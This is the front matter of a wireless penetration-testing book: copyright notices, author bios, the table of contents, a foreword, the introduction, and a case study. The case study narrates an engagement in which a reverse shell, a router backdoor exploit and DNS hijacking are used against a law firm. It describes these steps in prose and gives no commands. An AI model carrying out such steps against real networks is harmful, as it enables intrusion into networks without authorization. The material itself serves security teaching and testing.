




Copyright	©	2015	by	McGraw-Hill	Education.	All	rights	reserved.	Except	as	permitted
under	the	United	States	Copyright	Act	of	1976,	no	part	of	this	publication	may	be
reproduced	or	distributed	in	any	form	or	by	any	means,	or	stored	in	a	data	base	or	retrieval
system,	without	the	prior	written	permission	of	the	publisher.

ISBN:	978-0-07-182762-1
MHID:							0-07-182762-5

The	material	in	this	eBook	also	appears	in	the	print	version	of	this	title:	ISBN:	978-0-07-
182763-8,	MHID:	0-07-182763-3.

eBook	conversion	by	codeMantra
Version	1.0

All	trademarks	are	trademarks	of	their	respective	owners.	Rather	than	put	a	trademark
symbol	after	every	occurrence	of	a	trademarked	name,	we	use	names	in	an	editorial
fashion	only,	and	to	the	benefit	of	the	trademark	owner,	with	no	intention	of	infringement
of	the	trademark.	Where	such	designations	appear	in	this	book,	they	have	been	printed
with	initial	caps.

McGraw-Hill	Education	ebooks	are	available	at	special	quantity	discounts	to	use	as
premiums	and	sales	promotions	or	for	use	in	corporate	training	programs.	To	contact	a
representative,	please	visit	the	Contact	Us	page	at	www.mhprofessional.com.

McGraw-Hill	Education,	the	McGraw-Hill	Education	Publishing	logo,	Hacking
ExposedTM,	and	related	trade	dress	are	trademarks	or	registered	trademarks	of	McGraw-
Hill	Education	and/or	its	affiliates	in	the	United	States	and	other	countries	and	may	not	be
used	without	written	permission.	All	other	trademarks	are	the	property	of	their	respective
owners.	McGraw-Hill	Education	is	not	associated	with	any	product	or	vendor	mentioned
in	this	book.

Information	has	been	obtained	by	McGraw-Hill	Education	from	sources	believed	to	be
reliable.	However,	because	of	the	possibility	of	human	or	mechanical	error	by	our	sources,
McGraw-Hill	Education,	or	others,	McGraw-Hill	Education	does	not	guarantee	the
accuracy,	adequacy,	or	completeness	of	any	information	and	is	not	responsible	for	any
errors	or	omissions	or	the	results	obtained	from	the	use	of	such	information.

TERMS	OF	USE

This	is	a	copyrighted	work	and	McGraw-Hill	Education	and	its	licensors	reserve	all	rights
in	and	to	the	work.	Use	of	this	work	is	subject	to	these	terms.	Except	as	permitted	under
the	Copyright	Act	of	1976	and	the	right	to	store	and	retrieve	one	copy	of	the	work,	you
may	not	decompile,	disassemble,	reverse	engineer,	reproduce,	modify,	create	derivative
works	based	upon,	transmit,	distribute,	disseminate,	sell,	publish	or	sublicense	the	work	or
any	part	of	it	without	McGraw-Hill	Education’s	prior	consent.	You	may	use	the	work	for
your	own	noncommercial	and	personal	use;	any	other	use	of	the	work	is	strictly
prohibited.	Your	right	to	use	the	work	may	be	terminated	if	you	fail	to	comply	with	these
terms.

THE	WORK	IS	PROVIDED	“AS	IS.”	McGRAW-HILL	EDUCATION	AND	ITS
LICENSORS	MAKE	NO	GUARANTEES	OR	WARRANTIES	AS	TO	THE
ACCURACY,	ADEQUACY	OR	COMPLETENESS	OF	OR	RESULTS	TO	BE

http://www.mhprofessional.com


OBTAINED	FROM	USING	THE	WORK,	INCLUDING	ANY	INFORMATION	THAT
CAN	BE	ACCESSED	THROUGH	THE	WORK	VIA	HYPERLINK	OR	OTHERWISE,
AND	EXPRESSLY	DISCLAIM	ANY	WARRANTY,	EXPRESS	OR	IMPLIED,
INCLUDING	BUT	NOT	LIMITED	TO	IMPLIED	WARRANTIES	OF
MERCHANTABILITY	OR	FITNESS	FOR	A	PARTICULAR	PURPOSE.	McGraw-Hill
Education	and	its	licensors	do	not	warrant	or	guarantee	that	the	functions	contained	in	the
work	will	meet	your	requirements	or	that	its	operation	will	be	uninterrupted	or	error	free.
Neither	McGraw-Hill	Education	nor	its	licensors	shall	be	liable	to	you	or	anyone	else	for
any	inaccuracy,	error	or	omission,	regardless	of	cause,	in	the	work	or	for	any	damages
resulting	therefrom.	McGraw-Hill	Education	has	no	responsibility	for	the	content	of	any
information	accessed	through	the	work.	Under	no	circumstances	shall	McGraw-Hill
Education	and/or	its	licensors	be	liable	for	any	indirect,	incidental,	special,	punitive,
consequential	or	similar	damages	that	result	from	the	use	of	or	inability	to	use	the	work,
even	if	any	of	them	has	been	advised	of	the	possibility	of	such	damages.	This	limitation	of
liability	shall	apply	to	any	claim	or	cause	whatsoever	whether	such	claim	or	cause	arises
in	contract,	tort	or	otherwise.



For	Jen,	Maya,	and	Ethan.

~Joshua	Wright

For	those	who	pushed	me	forward	when	the	world	was	trying	to	hold	me	back:	Nick,
Karen,	Jen,	and	Ora.

~Johnny	Cache



About	the	Authors

Joshua	Wright	is	a	senior	technical	analyst	with	Counter	Hack,	and	a	senior	instructor
and	author	for	the	SANS	Institute.	Through	his	experiences	as	a	penetration	tester,	Josh
has	worked	with	hundreds	of	organizations	on	attacking	and	defending	mobile	devices	and
wireless	systems,	disclosing	significant	product	and	protocol	security	weaknesses	to	well-
known	organizations.	As	an	open	source	software	advocate,	Josh	has	conducted	cutting-
edge	research	resulting	in	hardware	and	software	tools	that	are	commonly	used	to	evaluate
the	security	of	widely	deployed	technology	targeting	Wi-Fi,	Bluetooth,	ZigBee,	and	Z-
Wave	wireless	systems,	smart-grid	deployments,	and	the	Android	and	Apple	iOS	mobile
device	platforms.	In	his	spare	time,	Josh	looks	for	any	opportunity	to	void	a	warranty	on
his	electronics.

Johnny	Cache	received	his	Masters	in	Computer	Science	from	the	Naval	Postgraduate
School	in	2006.	His	thesis	work,	which	focused	on	fingerprinting	802.11	device	drivers,
won	the	Gary	Kildall	award	for	the	most	innovative	computer	science	thesis.	Johnny
wrote	his	first	program	on	a	Tandy	128K	color	computer	sometime	in	1988.	Since	then,	he
has	spoken	at	several	security	conferences,	including	BlackHat,	BlueHat,	and	ToorCon.
He	has	also	released	a	number	of	papers	related	to	802.11	security	and	is	the	author	of
many	wireless	tools.	He	is	the	founder	and	chief	science	officer	of	Cache	Heavy
Industries.



About	the	Contributors
Chris	Crowley	is	the	owner	of	the	Montance	Consulting	Group	in	Washington	DC,
performing	penetration	testing,	computer	network	defense,	incident	response,	and	forensic
analysis	engagements.	As	the	lead	instructor	for	the	SANS	Institute	Mobile	Device
Security	and	Ethical	Hacking	course,	Chris	works	with	thousands	of	organizations	each
year,	helping	them	identify,	exploit,	and	address	critical	flaws	in	mobile	and	wireless
systems.	In	his	spare	time,	Chris	balances	his	extreme	work	schedule	with	extreme	rock
climbing.

Tim	Kuester	(BSCE,	UMBC)	is	an	engineer	working	at	Tactical	Network	Solutions	in
Columbia,	MD.	He	has	a	background	in	turnkey	engineering,	with	projects	ranging	from
CubeSats	and	BioMed	research	devices	to	spy	gadgets	and	air	vacuums.	He	enjoys
hacking	projects	involving	embedded	systems,	radios,	and	circuit	boards.	Alongside
contract	work,	he	teaches	courses	on	software-defined	radio	and	signal	processing	at	TNS
headquarters.	Outside	of	work,	he	enjoys	fiddling	with	amateur	radio,	riflery,	and	EMS.
Tim	would	like	to	extend	thanks	to	his	parents	and	his	engineering	professors	at	UMBC
for	their	patience	and	guidance.

About	the	Technical	Reviewers
Tim	Medin	is	a	senior	technical	analyst	with	Counter	Hack	and	a	lead	instructor	for	the
SANS	Institute.	As	a	professional	penetration	tester,	Tim	has	worked	with	hundreds	of
organizations,	including	Fortune	100	companies	and	the	US	government,	to	identify	and
exploit	vulnerabilities	as	part	of	an	essential	process	to	defend	critical	networks.	As	the
technical	lead	of	the	innovative	NetWars	program,	Tim	leads	the	development	of
information	security	challenges	for	education,	evaluation,	and	competition,	reaching	out	to
brilliant	analysts,	from	high-school	seniors	to	retired	US	military	veterans.	When	he’s	not
identifying	critical	flaws	in	pervasive	protocols	such	as	Kerberos,	Tim	likes	to	spend	time
with	his	family.

Mike	Ryan	is	a	senior	security	consultant	with	iSEC	Partners,	an	information	security
organization.	At	iSEC,	Mike	performs	penetration	testing,	specializing	in	red	team
exercises,	network	penetration	tests,	and	embedded	platforms.	Mike	also	researches
Bluetooth	security,	contributing	significant	enhancements	to	the	Ubertooth	project	for
Bluetooth	Low	Energy	attacks.	Mike	has	been	doing	security	in	one	way	or	another	since
2002	and	has	a	wide	array	of	skills,	tricks,	and	leet	hax	to	bring	to	the	table	in	any
situation.	Outside	of	security,	Mike	enjoys	retro	hardware	and	doing	absolutely	anything
at	the	beach.

Jean-Louis	Bourdon	is	a	firmware	engineer	with	ten	years’	experience	designing
processors	for	Infineon	and	five	years’	experience	writing	software	for	embedded	systems.
He	is	now	currently	working	for	Pektron	in	the	UK,	designing	instrument	clusters	for
super/hyper	cars.	His	hobbies	are	often	technology	related	and	usually	involve	dissecting
the	newest	gadgets	he	can	get	his	hands	on.



	



At	a	Glance

			Hacking	802.11	Wireless	Technology

1			Introduction	to	802.11	Hacking

2			Scanning	and	Enumerating	802.11	Networks

3			Attacking	802.11	Wireless	Networks

4			Attacking	WPA-Protected	802.11	Networks

5			Attacking	802.11	Wireless	Clients

6			Taking	It	All	the	Way:	Bridging	the	Air-Gap	from	Windows	8

			Bluetooth

7			Bluetooth	Classic	Scanning	and	Reconnaissance

8			Bluetooth	Low	Energy	Scanning	and	Reconnaissance

9			Bluetooth	Eavesdropping

10			Attacking	and	Exploiting	Bluetooth

			More	Ubiquitous	Wireless

11			Software-Defined	Radios

12			Hacking	Cellular	Networks

13			Hacking	ZigBee

14			Hacking	Z-Wave	Smart	Homes

Index

			Hacking	802.11	Wireless	Technology

			Bluetooth

			More	Ubiquitous	Wireless



	



Contents

Foreword

Acknowledgments

Introduction

Part	I			Hacking	802.11	Wireless	Technology

CASE	STUDY:	Twelve	Volt	Hero

1			Introduction	to	802.11	Hacking

802.11	in	a	Nutshell

The	Basics

Addressing	in	802.11	Packets

802.11	Security	Primer

Discovery	Basics

Hardware	and	Drivers

A	Note	on	the	Linux	Kernel

Chipsets	and	Linux	Drivers

Modern	Chipsets	and	Drivers

Cards

Antennas

Cellular	Data	Cards

GPS

Summary

2			Scanning	and	Enumerating	802.11	Networks

Choosing	an	Operating	System

Windows

OS	X

Linux

Windows	Discovery	Tools

Vistumbler

Windows	Sniffing/Injection	Tools

NDIS	6.0	Monitor	Mode	Support	(NetMon/MessageAnalyzer)



AirPcap

CommView	for	WiFi

OS	X	Discovery	Tools

KisMAC

Linux	Discovery	Tools

airodump-ng

Kismet

Advanced	Visualization	Techniques	(PPI)

Visualizing	PPI-Tagged	Kismet	Data

PPI-Based	Triangulation	(Servo-Bot)

Summary

3			Attacking	802.11	Wireless	Networks

Basic	Types	of	Attacks

Security	Through	Obscurity

Defeating	WEP

WEP	Key	Recovery	Attacks

Putting	It	All	Together	with	Wifite

Installing	Wifite	on	a	WiFi	Pineapple

Summary

4			Attacking	WPA-Protected	802.11	Networks

Obtaining	the	Four-Way	Handshake

Cracking	with	Cryptographic	Acceleration

Breaking	Authentication:	WPA	Enterprise

Obtaining	the	EAP	Handshake

EAP-MD5

EAP-GTC

LEAP

EAP-FAST

EAP-TLS

PEAP	and	EAP-TTLS

Running	a	Malicious	RADIUS	Server

Summary



5			Attacking	802.11	Wireless	Clients

browser_autopwn:	A	Poor	Man’s	Exploit	Server

Using	Metasploit	browser_autopwn

Getting	Started	with	I-love-my-neighbors

Creating	the	AP

Assigning	an	IP	Address

Setting	Up	the	Routes

Redirecting	HTTP	Traffic

Serving	HTTP	Content	with	Squid

Attacking	Clients	While	Attached	to	an	AP

Associating	to	the	Network

ARP	Spoofing

Direct	Client	Injection	Techniques

Summary

6			Taking	It	All	the	Way:	Bridging	the	Air-Gap	from	Windows	8

Preparing	for	the	Attack

Exploiting	Hotspot	Environments

Controlling	the	Client

Local	Wireless	Reconnaissance

Remote	Wireless	Reconnaissance

Windows	Monitor	Mode

Microsoft	NetMon

Target	Wireless	Network	Attack

Summary

Part	II		Bluetooth

CASE	STUDY:	You	Can	Still	Hack	What	You	Can’t	See

7			Bluetooth	Classic	Scanning	and	Reconnaissance

Bluetooth	Classic	Technical	Overview

Device	Discovery

Protocol	Overview

Bluetooth	Profiles

Encryption	and	Authentication



Preparing	for	an	Attack

Selecting	a	Bluetooth	Classic	Attack	Device

Reconnaissance

Active	Device	Discovery

Passive	Device	Discovery

Hybrid	Discovery

Passive	Traffic	Analysis

Service	Enumeration

Summary

8			Bluetooth	Low	Energy	Scanning	and	Reconnaissance

Bluetooth	Low	Energy	Technical	Overview

Physical	Layer	Behavior

Operating	Modes	and	Connection	Establishment

Frame	Configuration

Bluetooth	Profiles

Bluetooth	Low	Energy	Security	Controls

Scanning	and	Reconnaissance

Summary

9			Bluetooth	Eavesdropping

Bluetooth	Classic	Eavesdropping

Open	Source	Bluetooth	Classic	Sniffing

Commercial	Bluetooth	Classic	Sniffing

Bluetooth	Low	Energy	Eavesdropping

Bluetooth	Low	Energy	Connection	Following

Bluetooth	Low	Energy	Promiscuous	Mode	Following

Exploiting	Bluetooth	Networks	Through	Eavesdropping	Attacks

Summary

10			Attacking	and	Exploiting	Bluetooth

Bluetooth	PIN	Attacks

Bluetooth	Classic	PIN	Attacks

Bluetooth	Low	Energy	PIN	Attacks

Practical	Pairing	Cracking



Device	Identity	Manipulation

Bluetooth	Service	and	Device	Class

Abusing	Bluetooth	Profiles

Testing	Connection	Access

Unauthorized	PAN	Access

File	Transfer	Attacks

Attacking	Apple	iBeacon

iBeacon	Deployment	Example

Summary

Part	III	More	Ubiquitous	Wireless

CASE	STUDY:	Failure	Is	Not	an	Option

11			Software-Defined	Radios

SDR	Architecture

Choosing	a	Software	Defined	Radio

RTL-SDR:	Entry-Level	Software-Defined	Radio

HackRF:	Versatile	Software-Defined	Radio

Getting	Started	with	SDRs

Setting	Up	Shop	on	Windows

Setting	Up	Shop	on	Linux

SDR#	and	gqrx:	Scanning	the	Radio	Spectrum

Digital	Signal	Processing	Crash	Course

Rudimentary	Communication

Rudimentary	(Wireless)	Communication

POCSAG

Information	as	Sound

Picking	Your	Target

Finding	and	Capturing	an	RF	Transmission

Blind	Attempts	at	Replay	Attacks

So	What?

Summary

12			Hacking	Cellular	Networks

Fundamentals	of	Cellular	Communication



Cellular	Network	RF	Frequencies

Standards

2G	Network	Security

GSM	Network	Model

GSM	Authentication

GSM	Encryption

GSM	Attacks

GSM	Eavesdropping

GSM	A5/1	Key	Recovery

GSM	IMSI	Catcher

Femtocell	Attacks

4G/LTE	Security

LTE	Network	Model

LTE	Authentication

LTE	Encryption

Null	Algorithm

Encryption	Algorithms

Platform	Security

Summary

13			Hacking	ZigBee

ZigBee	Introduction

ZigBee’s	Place	as	a	Wireless	Standard

ZigBee	Deployments

ZigBee	History	and	Evolution

ZigBee	Layers

ZigBee	Profiles

ZigBee	Security

Rules	in	the	Design	of	ZigBee	Security

ZigBee	Encryption

ZigBee	Authenticity

ZigBee	Authentication

ZigBee	Attacks



Introduction	to	KillerBee

Network	Discovery

Eavesdropping	Attacks

Replay	Attacks

Encryption	Attacks

Packet	Forging	Attacks

Attack	Walkthrough

Network	Discovery	and	Location

Analyzing	the	ZigBee	Hardware

RAM	Data	Analysis

Summary

14			Hacking	Z-Wave	Smart	Homes

Z-Wave	Introduction

Z-Wave	Layers

Z-Wave	Security

Z-Wave	Attacks

Eavesdropping	Attacks

Z-Wave	Injection	Attacks

Summary

Index



	



T
Foreword

he	first	time	I	gave	any	thought	to	wireless	communication	security	was	around
2001	when	WEP	cracking	became	popular.	Suddenly	data	networks	took	to	the	air,

and,	just	as	suddenly,	the	security	of	those	networks	was	compromised.

There	was	something	particularly	exciting	about	wireless	security.	Networks	could	be
attacked	without	any	physical	access	or	interconnection!	An	eavesdropper	with	a	very
good	antenna	could	monitor	a	network	from	a	tremendous	distance!

Over	the	next	few	years,	Wi-Fi	attack	tools	and	techniques	became	better	and	better.
The	security	of	the	networks	improved	too,	but	the	attacks	always	seemed	to	outpace	the
defenses.	During	this	time	my	interest	in	wireless	security	grew,	and	I	learned	important
concepts	and	techniques	from	802.11	security	experts,	including	the	authors	of	this	book.

Eventually,	I	turned	my	attention	to	other	wireless	communication	protocols.	I	quickly
learned	that	I	could	accomplish	very	little	without	developing	my	own	tools	for	the
transmission	and	reception	of	digital	radio	signals.	Wi-Fi	tools	were	readily	available	and
exceptionally	powerful.	They	had	been	a	great	benefit	to	me,	enabling	me	to	learn	the
general	principles	of	wireless	communication	security.	I	couldn’t	test	the	security	of	other
radio	systems,	however,	until	I	started	building	tools	to	provide	similar	capabilities.

At	first	I	used	software-defined	radio	(SDR)	to	build	my	tools.	I	was	a	software
person,	and	I	was	extremely	excited	about	the	promise	of	SDR,	which	allowed	radios	to	be
built	in	software	rather	than	hardware.	Unfortunately,	I	found	that	a	great	deal	of	digital
signal	processing	knowledge	was	required	to	accomplish	my	goals.	I	eventually	gained
that	knowledge,	but	I	also	developed	an	appreciation	for	special-purpose	tools	that	can	be
implemented	at	a	lower	cost.	One	such	platform	that	I	designed	was	the	Ubertooth	One,	a
Bluetooth	test	tool	that	enabled	affordable	detection	of	nondiscoverable	Bluetooth	devices.

Today,	the	field	of	wireless	communication	security	is	more	exciting	than	ever	as
capabilities	for	more	diverse	wireless	technologies	are	continuously	developed.	In	addition
to	special-purpose	tools	for	popular	technologies	such	as	Wi-Fi	and	Bluetooth,	general-
purpose	SDR	platforms	are	becoming	more	affordable	and	easier	to	use.	The	popularity	of
wireless	embedded	systems	is	exploding,	and	new	wireless	communication	protocols	seem
to	appear	on	a	daily	basis.	There	has	never	been	a	better	time	to	start	exploring	the
security	of	these	systems.

This	book	is	the	best	introduction	to	wireless	security	that	I	know.	I	hope	that	it	will	be
read	by	information	security	practitioners	who	want	to	learn	about	wireless
communication	systems.	I	also	hope	that	it	will	be	read	by	wireless	communication
experts	who	want	to	learn	more	about	security.	In	particular,	I	recommend	this	book	to
designers	of	digital	radio	protocols,	for	there	is	no	better	way	to	understand	the	security	of
a	new	system	than	to	experience	successful	attacks	on	systems	that	came	before.

Even	as	we	develop	new	wireless	communication	protocols	at	a	rapid	pace,	the
standardized	protocols	continue	to	grow	in	popularity.	The	security	of	these	systems



matures	as	we	learn	how	to	defend	against	well-known	attacks.	Wi-Fi	is	perhaps	the	best
example	of	a	protocol	whose	security	has	benefited	from	years	of	scrutiny.	Today	it	is
possible	to	set	up	an	802.11	network	that	is	resilient	to	attack,	but	it	is	also	possible	to
deploy	a	network	with	little	or	no	security.	You	can	even	configure	a	new	network	with
WEP	encryption,	and	unfortunately,	some	people	still	do.

Guided	by	this	book,	you	will	enjoy	learning	all	about	wireless	security,	including
vulnerabilities	in	Wi-Fi	Protected	Setup	(WPS)	and	modern	protocols	such	as	Bluetooth
Low	Energy.	You	will	learn	how	to	use	sophisticated,	purpose-built	tools	to	exploit	a
variety	of	flaws	in	Wi-Fi	client	systems	and	how	to	repurpose	commodity	radio	chips	to
attack	ZigBee	and	Z-Wave	networks.	You	will	get	a	jump-start	on	the	necessary	skills	to
use	SDR	to	hack	wireless	protocols	that	have	yet	to	see	production	deployment.	I	hope
you’ll	even	crack	a	WEP	key	or	two.

Most	of	all,	I	hope	you	will	have	fun	exploring	the	exciting	field	of	wireless	security.

Michael	Ossmann
Founder,	Great	Scott	Gadgets
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A
Introduction

lmost	a	year	ago	now	our	editors	at	McGraw-Hill	Education	approached	us	about
contracting	a	third	edition	of	Hacking	Exposed™	Wireless.	At	the	time,	we

weren’t	sure	if	it	was	a	good	idea.	Between	our	day	jobs,	our	conference	schedules,	and
side	projects,	we	had	little	time	to	devote	to	such	a	huge	undertaking.

Looking	back,	we	are	very	happy	that	we	decided	to	take	on	the	third	edition.	First,	it
was	needed—so	much	had	changed	in	wireless	hacking	since	the	second	edition	of	the
book	just	a	few	years	earlier.	Second,	we	used	it	as	an	opportunity	to	research	interesting
new	protocols	and	develop	new	tools	of	our	own	that	we	could	share	with	our	readers.
Third,	it	was	a	great	opportunity	to	keep	sharing	the	message:	wireless	is	the	Swiss	cheese
of	computer	security.

About	This	Book
Before	we	started	writing,	we	discussed	what	we	wanted	to	accomplish	in	the	third	edition
of	this	book.	We	knew	that	we	wanted	to	write	material	that	was	pragmatic	and	useful,
focusing	on	practical	concepts	that	can	be	applied	in	your	penetration	tests	and	security
assessments.	As	a	result,	each	chapter	starts	with	a	section	describing	the	technology	to	be
hacked,	balancing	the	value	of	understanding	the	underlying	protocol	while	not	inundating
you	with	an	unnecessary	amount	of	background	information.	After	the	necessary
background	material,	each	chapter	describes	actionable	attack	techniques	that	you	can
apply	against	your	own	targets.

We	knew	we	wanted	to	bring	in	experts	for	areas	where	we	needed	assistance.	We
were	very	fortunate	to	have	Tim	Kuester	and	Chris	Crowley	work	with	us	on	the	SDR	and
cellular	chapters,	both	of	whom	have	shown	tremendous	breadth	and	depth	of	knowledge
in	their	fields.	Where	we	couldn’t	get	the	leaders	in	specific	areas	to	write	chapters	for	us,
we	brought	them	in	as	technical	reviewers.	Tim	Medin	provided	outstanding	reviews	of
the	majority	of	the	chapters	in	this	book,	while	Mike	Ryan	provided	invaluable	insight	on
four	very	challenging	Bluetooth	chapters,	and	Jean-Louis	Bourdon	provided	his	expert
insight	on	the	Z-Wave	chapter,	an	area	where	few	people	can	claim	to	be	security	experts.

We	spent	a	lot	of	humbling	time	reading	every	positive	and	negative	review	we	could
find	about	the	second	edition	of	the	book	as	well.	The	positive	comments	we	made	sure	to
keep	applying	as	we	wrote	these	chapters,	but	the	negative	reviews	were	especially
valuable.	We	heard	the	complaints	about	a	lack	of	Windows	focus	on	hacking	tools,	and	a
lack	of	coverage	of	important	topics,	including	GSM	hacking.	We	hope	we	can	turn	each
one	of	those	negative	reviews	around	with	this	massively	updated	edition.

This	book	is	meant	for	hackers:	people	who	want	to	poke,	prod,	and	explore	wireless
network	security	in	new	ways	and	to	a	depth	previously	unavailable	in	printed	material.
Your	motivations	are	your	own,	but	we	can	easily	see	this	book	being	your	companion	on



your	next	wireless	penetration	test,	the	review	of	your	wireless	use	policy	during	an	audit,
or	the	resource	for	protecting	your	next-generation	embedded	wireless	system.

This	book	covers	the	realm	of	offensive	wireless	security:	improving	the	security	of
wireless	systems	by	hacking	into	them.	Although	Wi-Fi	has	grown	to	be	the	ubiquitous
Internet	access	technology,	many	other	wireless	protocols	are	in	use	all	around	you.	This
book	covers	the	protocols	that	we	think	are	the	most	critical	from	a	security	perspective	in
everyday	use,	from	Wi-Fi	to	the	advancement	of	software-defined	radio	technology	for
unprecedented	access	to	wireless	protocols,	from	Bluetooth	Classic	and	Bluetooth	Low
Energy	protocols,	including	Apple	iBeacon,	to	mission-critical	business	and	home	control
systems,	including	ZigBee	and	Z-Wave.	We	rely	on	these	protocols	every	day,	and	an
understanding	of	their	security	flaws	is	paramount	to	protecting	them	from	attack.

Easy	to	Navigate
The	tried	and	tested	Hacking	Exposed™	format	is	used	throughout	this	book.

This	is	an	attack	icon.
This	icon	identifies	specific	penetration-testing	techniques	and	tools.	This	icon	is	followed
by	the	technique	or	attack	name.	You	will	also	find	traditional	Hacking	Exposed™	risk
rating	tables	throughout	the	book:

	This	is	a	countermeasure	icon.
Most	attacks	have	a	corresponding	countermeasure	icon.	Countermeasures	include	actions
that	can	be	taken	to	mitigate	the	threat	posed	by	the	corresponding	attack.

We	have	also	used	these	visually	enhanced	icons	to	highlight	specific	details	and
suggestions,	where	we	deem	it	necessary:



Companion	Website

As	an	additional	value	proposition	to	our	readers,	the	authors	have	developed	a	companion
website	to	support	the	book,	available	at	http://www.hackingexposedwireless.com.	On	this
website,	you’ll	find	many	of	the	resources	cited	throughout	the	book,	including	source
code,	scripts,	high-resolution	images,	links	to	additional	resources,	and	more.

We	have	also	included	expanded	versions	of	the	introductory	material	for	802.11	and
Bluetooth	networks,	and	a	complete	chapter	on	the	low-level	radio	frequency	details	that
affect	all	wireless	systems.

In	the	event	that	errata	is	identified	following	the	printing	of	the	book,	we’ll	make
those	corrections	available	on	the	companion	website	as	well.	Be	sure	to	check	the
companion	website	frequently	to	stay	current	with	the	wireless	hacking	field.

How	to	Use	This	Book
You	can	read	this	book	in	a	few	different	ways.	Flip	open	to	any	page	and	look	for	the
attack	symbol	to	learn	about	a	specific	technique	for	exploiting	a	deficiency	in	wireless
security.	Or,	jump	to	the	beginning	of	any	chapter	to	learn	about	the	essential	operating
characteristics	of	any	wireless	protocol.	Or,	start	with	and	read	an	entire	section	end	to
end.	Moreover,	we	hope	this	book	will	have	a	reserved	spot	on	your	bookshelf	(or,	a	spot
on	your	digital	reader)	as	a	valuable	reference	source	for	many	years	to	come.

This	book	is	organized	into	three	sections.	Part	I	covers	Wi-Fi	hacking,	starting	with
an	introduction	to	hacking	IEEE	802.11	networks	(Chapter	1),	followed	by	detailed	steps
for	effectively	scanning	and	enumerating	networks	(Chapter	2).	Chapter	3	focuses	on
general	attacks	against	Wi-Fi	networks,	whereas	Chapter	4	expands	that	focus	area	to
target	modern	WPA/WPA2	environments.	Chapter	5	takes	an	in-depth	look	at	exploiting
wireless	clients	during	a	hack,	whereas	Chapter	6	covers	“Bridging	the	Air-Gap,”	using	a
compromised	Windows	host	to	attack	remote	wireless	networks.
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Part	II	covers	Bluetooth	hacking,	focusing	on	both	Bluetooth	Classic	and	Bluetooth
Low	Energy	technology.	Chapter	7	looks	at	the	tools	and	techniques	available	for	effective
Bluetooth	Classic	scanning	and	reconnaissance,	followed	by	Bluetooth	Low	Energy
scanning	and	reconnaissance	in	Chapter	8.	Chapter	9	looks	at	the	many	techniques	for
Bluetooth	eavesdropping	and	sniffing	attacks	for	both	Classic	and	Low	Energy	variants.
Chapter	10	combines	all	of	these	techniques	together	to	attack	and	exploit	Bluetooth
Classic	and	Low	Energy	devices	and	popular	protocols	associated	with	these	technologies.

Part	III	departs	from	the	Wi-Fi	and	Bluetooth	protocols	to	look	at	other	ubiquitous
wireless	technologies.	Chapter	11	explores	the	fascinating	world	of	software-defined	radio
hacking,	giving	hackers	access	to	a	wide	range	of	previously	inaccessible	wireless
technology.	Chapter	12	looks	at	hacking	cellular	networks,	including	2G,	3G,	and	4G	LTE
security.	Chapter	13	examines	evolving	ZigBee	hacking	techniques,	focusing	on	industrial
control	systems	and	other	critical	wireless	deployments.	Finally,	Chapter	14	looks	at	the
never-before-published	world	of	Z-Wave	smart-home	hacking.

Read	this	book.	Use	it	as	a	resource	for	your	next	penetration	test,	vulnerability
assessment,	audit,	policy	review,	or	ethical	hacking	engagement.	Keep	it	handy	as	a
reference	source	for	insight	into	complex	wireless	protocols.	Finally,	share	your	findings
on	wireless	security	flaws	with	the	world:	only	through	open	disclosure	can	we	hope	to
achieve	significant	change.

-Joshua	Wright
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CASE	STUDY:	Twelve	Volt	Hero
Jen	had	just	settled	in	to	her	morning	coffee	at	her	cube	on	the	third	floor	of	Foray
Solutions	corporate	headquarters.	She	scanned	the	subject	lines	of	the	emails	that	had
accumulated	(mandatory	ethics	training,	questions	regarding	the	validity	of	some	of	her
expenses)	and	marked	them	all	as	read.	Jen	learned	long	ago	that	if	anything	was
important	it	would	be	re-sent.	This	way	she	didn’t	have	to	waste	precious	time	sorting
through	it	all.	She	had	better	things	to	do—like	reddit	and	LOLCats.

After	Jen	had	spent	about	ten	minutes	looking	at	cute	cat	pictures	online,	Ryan
stopped	by.	He	was	supposed	to	audit	a	law	firm	downtown	this	week.	Unfortunately,
physical	security	at	the	firm	was	pretty	tight,	and	excluding	the	few	minutes	Ryan	had
spent	trying	to	talk	his	way	past	the	receptionist,	he	hadn’t	been	able	to	set	foot	on	the
premises;	however,	he	did	notice	there	was	an	art	gallery	on	the	first	floor	of	the
building,	directly	below	the	law	office.

Jen	and	Ryan	came	to	the	obvious	conclusion.	Jen	would	go	linger	in	the	gallery
with	a	battery-powered	WiFi	Pineapple	in	her	purse.	Ryan	would	then	command	and
control	it	from	the	office,	using	Jen’s	proximity	to	the	target	to	get	him	nearby.

Ryan	configured	the	Pineapple	that	night,	and	the	next	day	Jen	headed	to	the	gallery.
As	she	got	close,	she	flipped	on	the	Pineapple.	A	minute	later	it	connected	to	the	GSM
network	and	threw	a	reverse	shell	back	to	Ryan.	As	Jen	walked	in	the	door,	she	got	a	txt
from	Ryan	letting	her	know	everything	came	up	okay.

Ryan	was	busy	hacking	away	while	Jen	spent	her	time	chatting	up	the	gallery	clerk.
She	wondered	if	she	would	be	able	to	expense	a	new	painting	if	she	bought	it	while	on	a
job.	Meanwhile	Ryan	had	already	found	the	firm’s	guest	network;	once	that	was	done,
he	associated	to	“Stach_and_Liu_ESQ_Guest”	and	probed	the	router.	It	just	so
happened	that	a	backdoor	had	been	recently	discovered	in	this	model	of	Cisco	devices.
He	launched	the	exploit	and	recovered	the	WPA	keys	for	the	internal	network.

Although	it	was	tempting	to	start	launching	man-in-the-middle	attacks	immediately
against	clients,	Ryan	knew	that	he	was	running	on	battery	and	that	Jen	couldn’t	hang
around	the	gallery	all	day—at	least	not	without	buying	something	she	would	try	to
expense,	throwing	his	original	cost	estimate	significantly	off	base.

Realizing	he	probably	only	had	ten	more	minutes	before	he	had	to	start	financing
Jen’s	shopping	spree,	he	quickly	logged	in	to	the	router,	enabled	remote	administration,
and	set	the	primary	DNS	to	a	VPS	he	had	procured	for	this	job.	Now	he	knew	he	had	a
solid	grip	on	the	network	and	could	send	Jen	back	to	the	office.

As	soon	as	he	saw	a	few	DNS	requests	come	in,	Ryan	went	to	check	on	his	supply
of	browser	exploits.	Smiling	at	his	current	browser	coverage,	he	txt’d	Jen	to	head	back
to	the	office	and	pick	up	some	Starbucks	on	the	way.	It	was	going	to	be	a	busy	day.
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Welcome	to	Hacking	Exposed	Wireless.	This	first	chapter	is	designed	to	give	you	a	brief
introduction	to	802.11	and	help	you	choose	the	right	802.11	gear	for	the	job.	By	the	end	of
the	chapter,	you	should	have	a	basic	understanding	of	how	802.11	networks	operate,	as
well	as	answers	to	common	questions,	including	what	sort	of	card,	GPS,	and	antenna	to
buy.	You	will	also	understand	how	wireless	discovery	tools	such	as	Kismet	work.

802.11	in	a	Nutshell
